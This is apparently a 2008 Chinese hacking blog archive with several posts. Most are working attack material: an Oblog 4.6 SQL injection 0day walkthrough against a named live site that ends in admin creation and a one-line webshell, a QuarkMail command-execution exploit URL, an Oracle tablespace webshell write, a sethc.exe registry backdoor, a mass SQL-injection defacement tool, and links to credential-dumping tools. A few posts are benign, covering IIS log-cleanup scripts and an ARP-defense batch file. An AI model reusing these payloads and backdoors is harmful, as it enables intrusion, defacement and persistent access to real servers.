Granting SeDebugPrivilege to tt ... successful
C:\>

这样就成功给tt添加了SeDebugPrivilege的权限,其他权限也可以照样添加。如果是去除权限,则只需把+r变成-r就可以了。

这样就实现了另一种意义上的克隆帐号,不过这样得到权限后仍然不能启动服务或添加帐号,比如net user ttt /add时发生拒绝错误,不知道这条命令是否会检查当前用户的SID,所以产生失败,还请高手指示。

三.后记
罗嗦写了这么多,是出于学习的目的,用wawa的话来说就是在写的过程中获益不少。由于水平有限,内容不免有错误之处,还请高手指正。

相关工具下载:
whoami: http://www.3389.net/download/whoami.exe
xcacls: http://www.3389.net/download/xcacl.exe
bkp: http://www.3389.net/download/bkp.exe
ntrights: http://www.3389.net/download/ntrights.exe
findpass: http://www.3389.net/download/findpass.zip
lsadump2: http://www.3389.net/download/lsadump2.zip

参考资料:
1.《INSIDE WINDOWS2000》
2.《WRITING SECURE CODE》
3.《Windows NT 4的安全结构》
4.《最小权限的挑战》
5.《超越ADMINISTRATOR》
6.《如何克隆管理员帐号》
7.Windows2000 Resource Kit Document

分类: 技术文章 标签: ,

Automatic Web Site Defacement

2008年10月13日 没有评论 107 views

Author: chaptersinwebsecurity
 

Hi all,
I'm new to posting content on this mailing list, but thought some of you
would be interested in an automatic SQL parameter injector
able to test for automatic database / web site defacement and / or OS
command execution given a list of URLs from a text file.
You may find more detailed explanation about this tool and a download link
for its first official version at here.

I wrote a proof of concept tool, based on the ASPROX bot that has been
attacking millions of SQL-injection prone web sites running MS-SQL servers at their backends.
Given a list of URLs that can be retrieved using various crawlers found on the web, it tests for SQL injection via URL parameters. In case one works, it attemps to either inject defacement content as entered by the user or alternatively to run an OS command on the SQL server.

 

Main Features:
---------------
 

  1. Written in Python
  2. Uses the robust CURL library - fastest HTTP request crafter in the world
     
  3. Encodes payload query in binary format to encapsulate internal SQL syntax and evade IDS systems
  4. URL encodes all content to comply with standard GET requests
  5. Allows usage of HTTP proxy

ToDo:
------
 

  1. Parallelize URL attacks
  2. Attack web forms with POST requests
  3. Build GUI (IronPython...?)
     

Feature requests and bug reports are welcome at:

ravivr_at_gmail_dot_com

分类: 技术文章 标签:

点击劫持(Clickjacking)漏洞技术内幕

2008年10月13日 没有评论 72 views

Clickjacking是OWASP_NYC_AppSec_2008_Conference的一个保密的议题,以下是一些攻击的描叙:

  当你访问一个恶意网站的时候,攻击者可以控制你的浏览器对一些链接的访问,这个漏洞影响到几乎所有浏览器以及所有版本的Flash等浏览器相关的第三方软件,除非你使用lynx一类的字符浏览器。

  这个漏洞与JavaScript无关,即使你关闭浏览器的JavaScript功能也无能为力。事实上这是浏览器工作原理中的一个缺陷。一个恶意网站能让你在毫不知情的情况下点击任意链接,任意按钮或网站上的任意东西。

  该漏洞用到DHTML,使用防frame代码可以保护你不受跨站点攻击,但攻击者仍可以强迫你点击任何链接。你所做的任何点击都被引导到恶意链接上,所以,那些Flash游戏将首当其冲。

  最近国外的安全研究人员已经放出了该漏洞的攻击例子,以及部分细节,这种攻击是利用的CSS样式表的网页渲染功能配合IFRAME帧框架页进行的一种钓鱼网页攻击。这个攻击涉及网页设计相关的技巧,步骤是:

  1.在第三方站点的网页先用IFRAME引入一个需要攻击的页面,将这个引入的框架页长宽设置成整个浏览窗口的大小。

  2.在网页中使用一个CSS滤镜,将整个网页用白色滤镜遮蔽。

  3.使用span或div设计一个层伪造一个表单提交按钮、输入框或者链接,然后利用CSS样式表设置层在网页中的位置,遮蔽住需要劫持的网页按钮、输入框或者链接。

  攻击者使用这种方法可以制作钓鱼网页,诱导用户在不察觉的情况下,完成一些受攻击WEB程序的敏感操作。

漏洞危害:

  攻击者可以制作一个精美的钓鱼网页,让用户在不知不觉中被控制摄像头,或完成密码修改、网银转帐等的恶意操作,给用户造成巨大的损失。

黑客攻击视频:

 

Flash Player File
分类: 技术文章 标签:

sethc.exe新的镜像劫持技术和安全防御!(shift后门)

2008年10月13日 没有评论 178 views

今天群里朋友发我个shift后门,带镜像劫持的,可以按5下shift,然后输入密码.
5下shift → 不关闭 → 然后鼠标右键点出来的那个框框右下角...
前提是先运行个p处理或reg,这个方法比较牛X..
注册表如下

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"Debugger"="C:\\www.winshell.cn.exe"

这个exe存的路径是:c:\\www.winshell.cn.exe

 

-----------------------------------------------------以下是安全设置---------------------------
知道上边原理:就可以设置安全了....
在服务器里按5下shift,出设置把所有的对号去掉.
删除所有文件安全设置下用户,加everyone设置全部拒绝
C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache的sethc.exe
修改注册表权限,同上.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe

 

分类: 技术文章 标签:

IIS日志清理专题,CMD版,VBS版,JS版,WSH版

2008年10月13日 没有评论 95 views

IIS日志清理CMD版:跟 据当前时间计算出前N天的日期,比如今天是:2007-11-16,前60天的日期就是2007-9-16(程序可以自动识别30天或31天或润月),然 后再处理成20070916这样的格式,然后再组合成ex070916.log这样的IIS日志文件格式,这样一来我们就得到的要清理的日志文件名然后, 我们再使用del /s /f d:\iislog\ex070916.log 来清除日志所在文件夹目录及子目录下的所有这个文件名的文件了,从而清除志,但这个仅仅是清除一天的日志,所以我们还得把这个批处理加到计划任务里,让它 每天定时执行,这样一来,所有的计算机的日志问题我们就可以不用管了。

IIS日志清理VBS版:VBS版理论是没有iis版快,因为他还要借助脚本驱动,而不像cmd版直接使用dos系统的批处理功能快(猜的),VBS毕竟是高级语言,处理日期的能力用一句话就实现了,而CMD版得写半页。IIS日志清理VBS版的 实现用VBS遍历IIS日志所在目录下的所有文件,及文件夹,然后取文件名组合成日期型的,然后当前日期-这个日期,看看是不是超过了设定的天数,超过的 话delete,这种思路有个好处就是一次可以清除N天前的所有记录,而不是只是一天的,他可以你CMD版日志清理一样,把这个脚本写到计划任务里,天天 运行,也可以过一段时间手动运行一次。这个代码明显比IIS日志清理CMD版少了。

IIS日志清理JS版:这个版其实与IIS日志清理VBS版差不了多少,思路都是一样的,只是使用的脚本语言不一样而已,还有就是调用时的两个参数里的每一个参数:目录,这个目录得写成:D:\\iislog,以前都用vbs还当主要脚本,这次主要是要学C#了,听说这两种语言都差不多,正好也练习下,也没花多少时间。

IIS日志清理WSH版:WSH版其实是最简单的,因为他的集成化程度很高,操作过程是这样的:使用vbs或js生成要处理的文件的文件名,然后再使用WScript.Shell执行cmd命令来处理,利用了IIS日志清理CMD版及IIS日志清理VBS版的 优点,这个也是一次只能处理一天的日志,当然您也可以把它改成处理多天的日志。正因为WSH集成化程度高,可以执行很多操作,所以黑客们都很喜欢这个,用 的最多的也就是WScript.Shell,所以一般安全意识比较高的服务器提供商都会把这个组件给禁用掉,这样一来,这个最好用的功能就变成了最不能使 用的,通用性最差的了。

实例代码:

IIS日志清理CMD版代码(DelIISLog.cmd):

@echo off
title Made by www.yongfa365.com
::设置当前日期前多少天或后多少天
set/a beforedays=-3
::设置目录所在位置
set   dir="F:\log\"
::当前日期转换为天数并进行计算
call :Date2Day %date:~0,10% days
set/a days=%days%%beforedays%
call :Day2Date %days% lastdate
::计算完毕,生成想要的字符组合
set okstr=ex%lastdate:~2,6%.log
::删除这些文件
del del /f /s /q %dir%\%okstr%

cmd /k

:Date2Day
setlocal ENABLEEXTENSIONS
for /f "tokens=1-3 delims=/-, " %%a in ('echo/%1') do (
set yy=%%a & set mm=%%b & set dd=%%c
)
set /a dd=100%dd%%%100,mm=100%mm%%%100
set /a z=14-mm,z/=12,y=yy+4800-z,m=mm+12*z-3,j=153*m+2
set /a j=j/5+dd+y*365+y/4-y/100+y/400-2472633
endlocal&set %2=%j%&goto :EOF

:Day2Date
setlocal ENABLEEXTENSIONS
set /a i=%1,a=i+2472632,b=4*a+3,b/=146097,c=-b*146097,c/=4,c+=a
set /a d=4*c+3,d/=1461,e=-1461*d,e/=4,e+=c,m=5*e+2,m/=153,dd=153*m+2,dd/=5
set /a dd=-dd+e+1,mm=-m/10,mm*=12,mm+=m+3,yy=b*100+d-4800+m/10
(if %mm% LSS 10 set mm=0%mm%)&(if %dd% LSS 10 set dd=0%dd%)
endlocal&set %2=%yy%%mm%%dd%&goto :EOF
IIS日志清理VBS版代码(DelIISLog.vbs):

'IIS日志清理VBS版代码(DelIISLog.vbs)  Made by www.yongfa365.com
'调用方法:DelIISLog "IIS日志所在路径",保留多少天的IIS日志

'遍历IIS日志文件夹下的所有文件及子文件夹下的文件
Function DelIISLog(IISLogPath,KeepDays)
on error resume next
Set oFso = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder(IISLogPath)
Set oSubFolders = oFolder.SubFolders  '得到该目录下所有的文件夹的集合
Set oFiles = oFolder.Files '得到该目录下所有的文件的集合
'第一步处理当前目录下的所有文件
For Each oFile In oFiles '遍历所有文件
if right(oFile.name,3)="log" then
oDate=cdate("20" & mid(oFile.name,3,2) & "-" & mid(oFile.name,5,2) & "-" & mid(oFile.name,7,2))
if date-oDate > KeepDays then oFile.delete '判断是不是要处理的IIS日志文件,如果是的话直接删除
end if
Next
'第二步处理当前目录下的所有目录,进行递归调用
For Each oSubFolder In oSubFolders
DelIISLog oSubFolder.Path,KeepDays '递归
Next

End Function

DelIISLog "D:\IISLogTest",20 '遍历
IIS日志清理JS版代码(DelIISLog.js):

//IIS日志清理JS版代码(DelIISLog.js)  Made by www.yongfa365.com
//调用方法:DelIISLog("IIS日志所在路径",保留多少天的IIS日志);

//遍历IIS日志文件夹下的所有文件及子文件夹下的文件
function DelIISLog(IISLogPath,KeepDays){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var f = fso.GetFolder(IISLogPath);
var Folders = new Enumerator(f.SubFolders); //得到该目录下所有的文件夹的集合
var Files = new Enumerator(f.Files); //得到该目录下所有的文件的集合
//第一步处理当前目录下的所有文件
for (; !Files.atEnd(); Files.moveNext()) {
var fileName = Files.item().name;
var year = "20" + fileName.substr(2, 2);
var mouth = fileName.substr(4, 2);
var day = fileName.substr(6, 2);
var days = Math.round(((new Date()).getTime() - Date.UTC(year, mouth - 1, day)) / 1000 / 60 / 60 / 24);
if (days > KeepDays) Files.item().Delete(); //判断是不是要处理的IIS日志文件,如果是的话直接删除
}
//第二步处理当前目录下的所有目录,进行递归调用
for (; !Folders.atEnd(); Folders.moveNext()) {
DelIISLog(Folders.item(),KeepDays);
}
}
//调用函数,比如:"F:\\log",5  或 "C:\\windows\\system32\\LogFiles",5
DelIISLog("D:\\IISLogTest",2);
IIS日志清理WSH版代码(DelIISLog.wsf):

<job id="IIS日志清理WSH版代码(DelIISLog.wsf) Made by www.yongfa365.com">
<script language="vbscript">
'作者:柳永法(yongfa365)'Blog
'修改:2007-11-15
'操作说明:此文件只能清除一天的日志,得使用计划任务让其每天执行一次,因为服务器上一般都禁用WScript.Shell,所以不推荐使用
Function DelIISLog(IISLogPath,beforedays)
&n
bsp;  d=Now-beforedays
If Right(IISLogPath,1) <> "\" Then IISLogPath=IISLogPath & "\"
p= IISLogPath & "ex" & Right(Year(d),2) & Right("0" & Month(d),2)  & Right("0" & Day(d),2)  & ".Log"
Set WshShell = WScript.CreateObject("WScript.Shell")
wscript.echo p
WshShell.Run ("cmd.exe /c del /s " & p)
Set WshShell = Nothing
End Function

DelIISLog "D:\IISLogTest",2
</script>
</job>
有时我拿到别人的代码时我得写一堆东西来测试,现在这个如果让您去测试的话,您不会直接在服务器上测试吧,所以,以下再贴出本人柳永法的测试脚本,主要是在D盘生成一个测试文件夹,及一些IIS测试日志文件,

IIS日志清理之IIS日志生成系统(CreateIISLog.vbs):

'IIS日志清理之IIS日志生成系统(CreateIISLog.vbs)  Made by www.yongfa365.com
'创建文件夹
Function CreateFolder(Folder)
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.CreateFolder(Folder)
If Err>0 Then
Err.Clear
CreateFolder = False
Else
CreateFolder = True
End If
End Function
'创建文件
Function CreateFile(FileName, Content)
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set fd = FSO.CreateTextFile(FileName, True)
fd.WriteLine Content
If Err>0 Then
Err.Clear
CreateFile = False
Else
CreateFile = True
End If
End Function

CreateFolder "D:\IISLogTest"
CreateFolder "D:\IISLogTest\IISLogs001"
CreateFolder "D:\IISLogTest\IISLogs002"
CreateFolder "D:\IISLogTest\IISLogs003"
for i=1 to 30
d=date-i
filename="ex" & right(year(d),2) & right("0" & month(d),2) & right("0" & day(d),2) & ".log"
CreateFile "D:\IISLogTest\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs001\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs002\" & filename,Content
CreateFile "D:\IISLogTest\IISLogs003\" & filename,Content
next
后记:这个方法不仅可以用在IIS日志处理方面,还可以用在处理Serv-U的日志处理,前提条件是Serv-U的日志文件的格式也得设成像IIS日志这样的格式ex071115.log。

 

分类: 技术文章 标签: ,

Oblog4.6 的0day

2008年10月13日 没有评论 67 views

自从上次oblog的tb.asp和js.asp文件出现漏洞后,直至今日oblog都没有爆出什么安全问题,前些日子官方发布了4.6稳定版,趁着无聊下下来看看代码的安全性,没想到还真的发现了一些问题。后来联系了oblog的客服,可是在qq上验证了几次人家也没有理我,没办法,那就只能发出来了。

      我们先来简单分析一下漏洞的成因:漏洞出现在user_diggs.asp文件第304行左右,用Request获得topic的值,然后用oblog.InterceptStr处理后赋给topic。oblog.InterceptStr的作用只是截断字符而已,并没有过滤特殊字符。接着往下看,在第316行就直接把topic放到了SQL语句里进行了数据库操作,这样漏洞就形成了。4.6版的ACCESS和SQL 都存在这个问题,但是因为变量所在的SQL语句是update,所以我们并不能用union来联合暴出密码,唯一的方法就只有用“;”来执行多语句,而ACCESS并不支持多语句,因此漏洞只影响到SQL版本。

      接下来是小菜们最关心的问题:怎么利用这个漏洞。我们先注册一个用户随便发篇日志。然后到自己的首页去推荐这篇日志,就是在图中 “推荐”处点击一下。接着回到用户管理后台,点击常用菜单里的“推荐日志”,就会看到刚才我们推荐的日志,我们把鼠标放到“修改”上,会看到推荐日志的id,这里的id是2。接着点击“修改”,在摘要里写入下面这个语句:

     s’/**/WHERE/**/logid=2;update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--

      这是一个简单的SQL语句,我对它稍做一些解释:其中的s’是为了和前面的’闭合。/**/是注释符,作用是用来代替空格。Logid=2中的2是刚才我们看到的日志id。然后用一个分号结束这一语句,接着是一个新的SQL语句,update/**/oblog_user/**/set/**/useremail=’竹子’/**/where/**/username=’lovewin2k’;--的意思是把oblog_user表里username等于lovewin2k的useremail更改为竹子。单击“确认修改”后提示修改成功。我们去验证一下,看看自己个人资料里的邮箱是不是真的被改成了竹子,可以看到确实已经被更改成了竹子。

      接下来我们在网上找个oblog实战一把,先说说如何查找4.6SQL版的oblog。我们先在百度里查找关键字“Copyright by oblog.cn”,然后随便打开一个blog,在主页后面添加ver.asp来查看版本,比如我在这里找的是http://www.zuliao365.com/blog,那就应该通过 http://www.zuliao365.com/blog/ver.asp来查看当前oblog的版本。如果是SQL版的那我们就可以打开利用工具,在目标主机里填写blog主页的地址,如: http://www.zuliao365.com/blog /index.html,点击“浏览”并用注册的用户登录以获得cookie。然后在用户名和密码里填写你要添加的管理员名字和密码,我这里添加一个用户名是竹子,密码是123456的管理员,日志id填写你自己所推荐日志的id。单击“发送”提示发送成功。我们访问后台http://www.zuliao365.com/blog/ admin/admin_login.asp,尝试用刚刚添加的管理员登录后台,果然成功登录。

      我们当然不会仅仅满足于做个管理员,既然利用的版本是SQL的,那我们就直接用日志备份来获得webshell。单击后台里的“服务器组件配置”,如图9。在“站点物理地址”处可以看到网站的路径,记下来,等会备份的时候要把一句话木马备份到这里,这里是:e:\wwwroot\zuliao\wwwroot。接着在工具的下拉框里选择“更新库名到Email”,“注册用户名字”填写你在blog里注册的用户名字,单击“发送”,我们去个人资料里看看Email里的内容吧!选择“综合设置”中的“用户设置”看到库名已经被更新到了Email里了,我这里获得的库名是sq_zuliao,如图10。继续在工具的下拉框选择“备份数据库获得shell”,然后在库名和路径分别填写刚才我们获得的sq_zuliao和e:\wwwroot\zuliao\wwwroot \test.asp,test.asp是你自己一句话木马的文件名,单击“发送”,如图11。默认备份的一句话木马是海洋的<%eval request("#")%>,我们用海洋客户端连接 http://www.zuliao365.com /test.asp看看是否备份成功,可以看到我们已经成功获得了webshell,如图12。接下来该如何提升权限就看各位大显神通了。

关于如何修补漏洞的问题,把存在漏洞的语句

des = oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255)

topic = oblog.InterceptStr(Trim(Request("topic")), 255)

替换成

des = oblog.filt_badstr (oblog.InterceptStr(RemoveHtml(Trim(Request("edit"))),255))

topic = oblog.filt_badstr (oblog.InterceptStr(Trim(Request("topic")), 255))

就可以了。

 

分类: 技术文章 标签:

虚拟网关解决ARP攻击

2008年10月13日 没有评论 118 views

今天VBS群里有人要了解ARP攻击,ARP攻击盛行于局域网,找了这个BAT,对付ARP攻击。

网上流行一个vbs的虚拟网关,也有斯普林的程式的,这个是批处理,加开机批处理,爽到不行了!

@echo off

FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "IP Address"`) do set IP=%%I

FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "Physical Address"`) do set MAC=%%I

’第一行是读取本机的IP地址,第二行是读取本机的MAC地址

Set /a a=%RANDOM%/128

Set /a b=%RANDOM%/128

Set IPhead=172.16

Set GatewayIP=%IPhead%.%a%.%b%

’这四行是生成一个172.16开头的随机网关IP地址

我自己的内网网段为172.16.0.0,所以设成这样

(若想生成192.168.1.X网段的IP,可改成如下

Set /a a=%RANDOM%/128

Set IPhead=192.168.1

Set GatewayIP=%IPhead%.%a%

若想限制生成的随机IP范围在192.168.1.100-192.168.1.255之间,可改成如下

:start

Set /a a=%RANDOM%/128

IF %a% LEQ 100 goto start

’这样就可以限制a比100大

’EQU - 等于,NEQ - 不等于,LSS - 小于,LEQ - 小于或等于,GTR - 大于,GEQ - 大于或等于

’要限制在其他范围的话,自己改一下代码吧

Set IPhead=192.168.1

Set GatewayIP=%IPhead%.%a%

Set GatewayMAC=00-0f-e2-3e-b6-66

’这里的是真实的网关MAC地址

arp -d

arp -s %IP% %MAC%"

’静态绑定本机IP和本机MAC地址

arp -s %GatewayIP% %GatewayMAC%"

’静态绑定随机生成的网关IP和真实的网关MAC地址

route delete 0.0.0.0

route add 0.0.0.0 mask 0.0.0.0 %GatewayIP% metric 1

’删除原先的默认路由,定义默认路由指向随机生成的网关IP

4.手动修改网内所有PC的网关地址为一个不存在的IP

如果更换了网关设备,你只需改动Server服务器中的脚本即可,不用到每台客户机去修改

原理简单分析:

PART I.ARP病毒攻击手段一是向网内其它PC谎称“网关IP地址对应的MAC地址是aa-bb-cc-dd-ee-ff”;

例:PC1骗PC2、PC3说“网关192.168.1.1的MAC地址为11-11-11-11-11-11”,192.168.1.1是PC1用IPCONFIG命令查看到的网关地址,PC2、PC3信以为真,在各自的ARP表中添加一个ARP条目“192.168.1.1 11-11-11-11-11-11”,但是PC2、PC3上网的网关地址并不是192.168.1.1,而是随机生成的那个IP地址,所以即使受骗了也不要紧,依然可以正常上网;

ARP病毒攻击手段二是向网关谎称“PC1的MAC地址是bb-cc-dd-ee-ff-gg”,“PC2的MAC地址是cc-dd-ee-ff-gg-hh”之类;

例:PC1骗网关地址192.168.1.1说“PC2的MAC地址为22-22-22-22-22-22”,但192.168.1.1是随便改的一个不存在的IP地址,所以不会有机器上当受骗

PART II.默认路由里指向的网关MAC地址正确,就确保了所有发向外网的数据包可以顺利发送到真实的网关;

总结:

理论上说,用上面的方法去绑定所有的客户机(注意要一台不漏喔),不在路由上绑也是可以的;实践中还要等你测试过之后跟我说效果;

有条件的话,最好在路由或者交换机里面绑定所有客户机的IP和MAC,这样ARP欺骗应该就可以完美解决的了.

 

分类: 技术文章 标签:

快客电邮(QuarkMail)远程命令执行漏洞

2008年10月12日 没有评论 81 views

来自:80Sec

漏洞说明:快客电邮(QuarkMail)是北京雄智伟业科技公司推出的电子邮件系统,被广泛用于各个领域的电子邮件解决方案,其webmail部分使用perl cgi编写,但是80sec在其系统中发现一个重大的安全漏洞,导致远程用户可以在邮件系统上以当前进程身份执行任意命令,从而进一步控制主机或者系统。

漏洞厂商:http://www.ipmotor.com/

漏洞解析:QuarkMail错误地使用perl的open函数以打开文件,实现模板等功能,但是其对用户传入的参数没有做有效的过滤,从而导致一个命令执行漏洞。

漏洞证明:登录进入系统之后访问如下URL
 

http://mail.80sec.com.foo/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../etc/passwd%00&id=2&sort=0&read_flag=yes

即可得到系统账户文件,访问如下URL
 

http://mail.80sec.com.foo/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../usr/bin/id|%00&id=2&sort=0&read_flag=yes

即可以将/usr/bin/id文件打开执行,并且将结果返回,用户就可以利用一序列操作获得系统的完整访问权。

漏洞解决:请等待官方补丁。

分类: 技术文章 标签:

ORACLE 建立数据文件WriteWebShell

2008年10月12日 没有评论 736 views

其实 类似ORACLE 这样强大的数据库,真没必要用到这么土的办法

SQLJ   存储过程写文件也可以,逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了?

那 也可以 使用以下我说的这个方式

SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;

表空间已创建。

这里记住了  100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥

但是最终建议一句话一定要最最简洁

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已创建。

一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。

SQL> insert into WEBSHELL values('<%execute request("kj021320")%>');

已创建 1 行。

SQL> commit;

提交完成。

提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间

SQL> alter tablespace kjtest offline;

表空间已更改。

到这里 你的 一句话SHELL代码已经 写到 那个文件了

你会发现有这样的 <%execute request("kj021320")%>Z   €Z    的 代码

一句话shell已经OK了

最后使用后记得吧 表空间删除

SQL> drop tablespace kjtest including contents;

表空间已删除。

当然这个方法缺点就是你要知道WEB路径

分类: 技术文章 标签: